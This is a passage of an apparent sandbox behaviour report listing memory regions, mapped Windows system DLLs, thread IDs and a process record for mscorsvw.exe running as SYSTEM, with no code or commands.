5098 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5099 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5100 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5101 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 5102 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 5103 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 5104 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5105 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5106 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5107 start_va = 0x7fefbe40000 end_va = 0x7fefbefafff monitored = 0 entry_point = 0x7fefbe46de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 5108 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 5109 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 5110 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 5111 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 5112 start_va = 0x7fefc170000 end_va = 0x7fefc17cfff monitored = 0 entry_point = 0x7fefc171348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 5113 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5114 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 5115 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 5116 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5117 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5118 start_va = 0x7fefc750000 end_va = 0x7fefc77efff monitored = 0 entry_point = 0x7fefc751064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 5119 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5120 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5121 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5122 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 5123 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 5124 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5125 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5126 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5127 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5128 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5129 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 5130 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5131 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5132 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5133 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5134 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5135 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5136 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5137 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5138 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 5139 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5140 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5141 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5142 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5143 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5144 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5145 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5146 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5147 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5148 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 5149 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 5150 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 5151 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 5152 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 5153 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 5154 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 5155 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 5156 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 5157 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 5158 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 5159 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 5160 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 5161 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 5162 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 5163 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5164 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 5165 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 5166 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5167 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5168 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5220 start_va = 0x940000 end_va = 0x963fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 5339 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5340 start_va = 0x19f0000 end_va = 0x1a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 5341 start_va = 0x1ab0000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ab0000" filename = "" Region: id = 5342 start_va = 0x2320000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 5343 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 5344 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 5345 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5346 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5347 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5348 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5349 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5350 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5351 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5352 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5353 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5354 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5355 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5356 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5357 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5358 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5359 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5360 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5361 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5362 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5373 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5374 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5375 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5376 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5377 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5378 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5379 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5380 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5381 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5382 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5383 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5384 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5385 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5386 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5387 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5388 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5389 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5390 start_va = 0x2e0000 end_va = 0x2f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Thread: id = 383 os_tid = 0x39c Thread: id = 384 os_tid = 0x588 Thread: id = 385 os_tid = 0x340 Thread: id = 386 os_tid = 0x6a4 Thread: id = 387 os_tid = 0x6a0 Thread: id = 388 os_tid = 0x684 Thread: id = 389 os_tid = 0x598 Thread: id = 390 os_tid = 0x590 Thread: id = 391 os_tid = 0x584 Thread: id = 392 os_tid = 0x544 Thread: id = 393 os_tid = 0x540 Thread: id = 394 os_tid = 0x53c Thread: id = 395 os_tid = 0x500 Thread: id = 396 os_tid = 0x4e4 Thread: id = 397 os_tid = 0x4d0 Thread: id = 398 os_tid = 0x4c4 Thread: id = 399 os_tid = 0x4b8 Thread: id = 400 os_tid = 0x49c Thread: id = 401 os_tid = 0x498 Thread: id = 505 os_tid = 0xb2c Thread: id = 513 os_tid = 0xb5c Thread: id = 514 os_tid = 0xb60 Process: id = "25" image_name = "mscorsvw.exe" filename = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe" page_root = "0x79617000" os_pid = "0x520" os_integrity_level = "0x4000" os_privileges = "0x40804080" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 6078 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6079 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6080 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 6081 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6082 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 6083 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 6084 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6085 start_va = 0xe0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 6086 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 6087 start_va = 0x170000 end_va = 0x17cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 6088 start_va = 0x180000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 6089 start_va = 0x1d0000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 6090 start_va = 0x240000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 6091 start_va = 0x340000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 6092 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 6093 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 6094 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 6095 start_va = 0x660000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 6096 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 6097 start_va = 0x6b0000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 6098 start_va = 0x840000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 6099 start_va = 0x880000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 6100 start_va = 0x940000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 6101 start_va = 0xac0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 6102 start_va = 0xb90000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 6103 start_va = 0xc00000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 6104 start_va = 0xc60000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 6105 start_va = 0xee0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 6106 start_va = 0x10e0000 end_va = 0x10fefff monitored = 0 entry_point = 0x10f52c0 region_type = mapped_file name = "mscorsvw.exe" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe") Region: id = 6107 start_va = 0x1170000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 6108 start_va = 0x1280000 end_va = 0x137ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 6109 start_va = 0x1380000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 6110 start_va = 0x1580000 end_va = 0x197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001580000" filename = "" Region: id = 6111 start_va = 0x19f0000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename 